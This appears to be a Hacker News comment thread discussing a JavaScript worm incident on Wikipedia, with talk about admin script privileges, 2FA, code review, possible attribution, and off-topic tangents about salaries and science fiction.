diath: They have 100s of millions of USD, they will be fine: https://upload.wikimedia.org/wikipedia/foundation/3/3f/Wikim... (page 5-7).

tonymet: that's a common attack vector -- like leaving malware usb sticks on the ground, knowing an admin will pick it up and insert it.Phabricator reveals the ops tasks that WMF admins perform, so attackers can drop malware in common locations and bet on them getting run from time to time.

tonymet: It's Wikipedia's 25th birthday but their security discipline is still very much circa 2001. No code signing, BOM / supply chain security. Only recently activated 2fa for admins (after another breach). Most admins are anons.Let's hope they allocate more of the $200M+ / year to security infra.

mafriese: I’m not saying that this is related to Wikipedia ditching archive.is but timing in combination with Russian messages is at least…weird.

worksonmine: And they probably used mind-control to make the admin run random userscripts on his privileged account as well, the capabilities of russian hackers is scary./sIt is just another human acting human again.

tonymet: Admin tasks are public in phabricator so it would be trivial to review chores and place malware in the chore's scope

tonymet: there's a very active tech discussion on the Wikipedia discord you can join here https://en.wikipedia.org/wiki/Wikipedia:Discord

justsomehnguy: It is. Just punch it's name in the search box down below.

Dylan16807: If it was a native app it wouldn't be grabbing one of the hosted files and running it as code.

Wikipedianon: There shouldn't be any interface admins as such. There should be an enforced review process for changes to global JavaScript so stuff like this can't happen.I'm sure there are Google engineers who can push changes to prod and bypass CI but that isn't a normal way to handle infra.

dheera: Wouldn't be surprised if elaborate worms like this are AI-designed

streetfighter64: Turns out it's a pretty rudimentary XSS worm from 2023. If all you have is a hammer, everything looks like a nail; if all you have is a LLM, everything looks like slop?

streetfighter64: To paraphrase Bush,> our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our site and our users, and neither do we.

nhubbard: I wouldn't be surprised either. But the original formatting of the worm makes me think it was human written, or maybe AI assisted, but not 100% AI. It has a lot of unusual stylistic choices that I don't believe an AI would intentionally output.

creatonez: > It has a lot of unusual stylistic choices that I don't believe an AI would intentionally output.Indeed. One of those unusual choices is that it uses jQuery. Gotta have IE6 compatibility in your worm!I'm not sure what to make of `Number("20")` in the source code. I would think it's some way to get around some filter intended to discourage CPU-intensive looping, but I don't think user scripts have any form of automated moderation, and if that were the case it doesn't make sense that they would allow a `for` loop in the first place.

dheera: jQuery is still sooo much easier to use than React and whatever other messes modern frameworks have created. As a bonus, you don't have to npm build your JS project, you just double click and it opens and works without any build step, which is how interpreted languages were intended to be.

streetfighter64: Have you never seen a native app's auto-update get hijacked by malware? It happened (yet again) last month [0]Tons of native apps also have plugins or addons, which (surprise surprise) is just code downloaded from some central repo, and run with way less sandboxing than JS.[0] https://www.bleepingcomputer.com/news/security/notepad-plus-...

chazburger: Nobody uses Wikipedia anymore since all the AIs scraped it.

mkl: https://news.ycombinator.com/item?id=30504812Top comment is from the CEO and explains: "We have people on the ground in Ukraine being bombarded now non stop."

creatonez: No one actually knows what the payload from basemetrika.ru contains, though. So it's possible it was originally intended to be more damaging. But no matter what it would have caught attention super fast, so there's probably an upper limit to how sophisticated it could have been.

NBJack: Legitimately listening to this book for the first time after a coworker recommended it. It's rapidly becoming one of my favorite books that balances the truly alien with the familiar just right.Not so ironically, it came up when we were discussing "software archeology".

ljm: It's a pretty egregious failure for the org because it controlled the conditions for it to happen.The security guy is just the patsy because he actioned it.They have obviously done this a million times before and now they got burned.

bawolff: > Restricting it to "interface admin" only is a fairly recent change.Its been 8 years!

dns_snek: I don't know what you mean by application logic being exposed client-side. To change the content on the website, nuke articles, and propagate the malicious JS code you need to hijack privileged users' credentials and use them to trigger server-side actions.It doesn't matter how much functionality the JS was originally responsible for, it could've been as little as updating a clock, validating forms, or just some silly animation. Once that JS executes in your browser it has access to your cookies and local storage, which means it can trigger whichever server-side actions it wants.My second comment is not unrelated. The root cause of this mess is the fact that JS can be edited by privileged users without an approval process. If every change to the JS code required the user to enter their 2FA code (TOTP, let's say) then there would be no way for the worm to spread whenever users visited a page.

j45: Ah, I’m not speaking about JavaScript within the content of wikipedia as you are.I’m referring to the use of JavaScript in general in the building of web apps themselves. My comment is the same about 2FA.I’m making these comments from the general perspective because I see it as a security risk when front end scriptability and app logic are more available than say server side apps.Hope that clarifies my comments.

nephihaha: People automatically assume knowledge comes from Wikipedia.I got accused by someone of getting my information on a certain subject from Wikipedia. I told them it was the other way round: I had written most of the Wikipedia article myself in the first place.

Dylan16807: That's pretty far from hosting the program in the same spot the content it manages is hosted, and also installing fresh versions instantly.

the_af: In the average real world, the staff engineer learns nothing, regardless of whether they get to lose or keep their job. Some time down the line, they make other careless mistakes. Eventually they retire, having learned nothing.This is more common than you'd think.

cjbgkagh: I was able to run some stats at scale on this and people who make mistakes are more likely to make more mistakes, not less. Essentially sampling from a distribution of a propensity for mistakes and this dominated any sign of learning from mistakes. Someone who repeatedly makes mistakes is not repeatedly learning, they are accident prone.

iugtmkbdfil834: I swear, I respect Vinge more and more based on how well he seems to understand human tendencies to plot some plausible trajectories for our civilization.

Nition: There's a little throwaway thing in the book (or maybe it was in the prequel) that I always liked, re understanding human tendencies. They're still using Unix time, starting in Jan 1st 1970, but given that their culture is so space-travel-focused they assume the early humans set it to coincide with man's first trip to the moon.

lolive: What if you define a hard rule from this statistics that « you must fire anyone on error one »? Won’t your company be empty in a rather short timeframe? [or will be composed only of doingNothing people?]

cjbgkagh: Why would you do that? You’re sampling from a distribution, a single sample only carries a small amount of information, repeat samples compound though.

sonofhans: Yes, this. That same engineer shouldn’t have a pocket nuclear trigger shaped just like their key fob, either. Humans are predictable.

throwaway894345: Aren’t staff part of engineering leadership?

msla: More to the point, if they required 2FA every time you tried to modify the JS, nobody would do it because it would be too annoying. "Username, password... oh, the 2FA just timed out, gotta wait for the next one... what, that doesn't work? Does it want the old one? Oh... now it wants the next one... just a second... "

Dibby053: Can you elaborate? What scale? What kind of mistakes? This sounds quite interesting.

msla: > Also the language that has made me millions over my career with no degree."You can't hate rum, it's made me so much money!"

pabs3: I think the Luddites were Technologists too, and that put them in the best position to understand the downsides of tech. Same goes for you.

duskwuff: That's from the prequel, A Deepness in the Sky. (Which is also excellent.)

type0: With all their donation begging, nothing will change, they will still spend money on useless seminars and continue to underfund security by hiring low paid web amateurs to do the important work

gorgoiler: Realistically, there’s a third option which it would be glib to not consider: you lose your job, get hired somewhere else, and screw up in some novel and highly avoidable way because deep down you aren’t as diligent or detail-oriented as you think you are.

karel-3d: Well it has just been shown it's not nothing

hinkley: Deepness in the Sky is probably the first Sci Fi alien I read who didn't feel like a human wearing an alien suit.Fantasy sometimes does this better but usually with specific tropes.

hinkley: Army of Darkness?The Mummy?

hinkley: I wonder if the bad traffic overwhelmed the good traffic enough that it's simpler to pick out some of the good traffic from the bad and replay it rather than spot all of the bad traffic.

hinkley: Honestly, since I'm never really in a position to see much of that money, at this point I'd be more concerned about my coworkers. And while that typically correlates with the amount of money you either have or receive, they're often out of balance one way or the other.

Nemo_bis: Reminds me of the famous quip starting with "found a bug in the english site" (early 2000s)...https://bash.toolforge.org/quip/AU8FCPz66snAnmqnLHDj

integralid: I would. AI designed software in general does not include novel ideas. And this is the kind of novel software AI is not great at, because there's not much training data.Of course it's very possible someone wrote it with AI help. But almost no chance it was designed by AI.

bawolff: Almost certainly not AI due to the age of when it was written. However its a very simple script. I think its certainly within the realm of AI to write a short script that makes a few api requests.

bawolff: Its misinformation that the malicious script loaded that domain. The malicious script did have a url with that domain in it, but it wouldnt load javascript from it (possibly due to a programming mistake/misunderstanding by the author, its kind of unclear what the original intent was)

bawolff: > Prior to this, any admin had that ability until it was taken away due to English Wikipedia admins reverting Wikimedia changes to site presentation (Mediaviewer).You're mixing up events. Superprotect is unrelated to the IAdmin separation from normal admin. The two are separated by many years and basically totally unrelated.I agree with the rest of your post.

Ekaros: Fundamentally I feel whole "web" as in anything running in browser is insane an broken security wise. When you allow mostly arbitrary code to run when you load a page... Well it can do mostly arbitrary things and everyone else needs to protect against it.And when you have enough rights, you get to add arbitrary code to everywhere on your site.

Ekaros: Doing some security work now. And it seems half of my problems are because some other site get to run any random code so they might call my site. And I have to protect against that. I am somewhat annoyed. Why is this design acceptable in first place?

rodwyersoftware: Israel most likely

jstanley: My impression of mistakes was that they were an indicator of someone who was doing a lot of work. They're not necessarily making mistakes at a higher rate per unit of work, they just do more of both per unit of time.From that perspective, it makes sense that the people who made the most mistakes in the past will also make the most mistakes in the future, but it's only because the people who did the most work in the past will do the most work in the future.If you fire everyone who makes mistakes you'll be left only with the people who never make anything at all.

mock-possum: This is the most likely outcome

zelphirkalt: But only one person needs to authenticate to edit. The code will still run for everyone loading it.

zelphirkalt: It would not have hurt to make a version of wikipedia, that will work without JS for the most part, including all that is important. However, that requires a mindset for supporting static pages, which is mostly what W should consist of, and would require a skill set, that is not so common among web developers these days. Such a static version would be much easier to test as well, since all the testing framework would need to do is simple requests, instead of awaiting client-side JS execution resulting in mutation of content on the page.

dwedge: Well done, it's finally over

amiga386: Thanks! For my next trick, I'll solve systemic racism by turning my logo black for a month.

worksonmine: Which only makes it that much more important to review everything you're running with a privileged account, right?And if it really is as trivial as you say it should be fixed ASAP.

greatgib: As a staff, you don't even imagine what his salary is for screwing up like that.That being said, interesting to see how salaries skyrocketed over the years: https://meta.wikimedia.org/wiki/Wikimedia_Foundation_salarie... but not that much for engineering.

hk__2: It only affects your user; it’s just like adding random extensions to your browser.

i_think_so: Big thanks for the recognition. Going against the hype colossus makes one feel like a lone voice in the wilderness.

Angostura: Or they are working in a very badly designed system which consistently encourages them to make mistakes

pabs3: You're not alone, there are dozens of us left :)

i_think_so: Dozens of us!

javascripthater: if only you people had listened

yorwba: That Wikipedia is not a democracy doesn't mean there are no votes and no elections. https://en.wikipedia.org/wiki/Wikipedia:Administrator_electi...

dwedge: Make sure you support LGBT rights by superimposing a rainbow over your rainbow, but only in the countries where LGBT people already have rights - it would be bad for business to do it in those other countries.

amai: Why am I not surprised that the malicious script was from ruwiki?

amai: Why am I not surprised that the malicious script was from ruwiki?

06867457397658: So is Infowars.

wmichelin: At my job, I would just say they are in the ear of engineering leadership, but are not part of it.

mghackerlady: I've always wanted to make a virus like those of the olden days. I wouldn't do anything malicious with it, but maybe I would deploy it to a friends computer if it wasn't very destructive. What resources are there to learn about viruses?

BorisMelnik: that's insane...I am not donating anymore (not that I gave that much.)

cc-d: this was us. we pumpin hardthis is just us playing on the computer, we got b0mbz

cjbgkagh: A decade of data from many hundreds of people, help desk type roll where all communication was kept, mostly chat logs and emails. Machine learning with manual validation. The goal was to put a dollar figure on mistakes made since the customers were much more likely to quit if it was our fault, but also many customers are nothing but a constant pain in the ass so it was important to distinguish who was right whenever there was a conflict.

connor_peterson: Because you're a fed.

ninth_ant: Yes this is a common release practice.However this is a different situation as we’re talking about running arbitrarily found third-party scripts. I can’t imagine that was ever intended to be done in production.Fun story, when I worked at Facebook in the earlier days someone accidentally made a change that effectively set the release flags for every single feature to be live on production. That was a day… we had to completely wipe out memcached to stop the broken features and then the database was hammered to all hell.

mos87: >they decided to do this test under theirwhat language is this?

throwaway894345: That makes sense. I guess I usually think of developing policies for this kind of thing to be pretty much what staff would do. I don’t usually expect the CTO to make decisions about how to do testing. To the extent the engineering leadership are to blame, it’s that they were the ones who hired/retained this guy. The buck ultimately stops with them to be sure, but making these kinds of policies seems within the remit of a staff eng.

sehansen: The highest non-severance number is $512,179 for the CEO in 2022. That's not particularly extreme. It's ~1/10 of what the Mozilla Foundation CEO makes.

DaSHacka: Pretty sure it is, however, the reverse is actually illegal (for US citizens to provide professional services to anyone residing in Russia) as of like 2022-ish

Insimwytim: This is incorrect.

DaSHacka: Is it?https://thewolfgroup.com/blog/executive-order-us-professiona...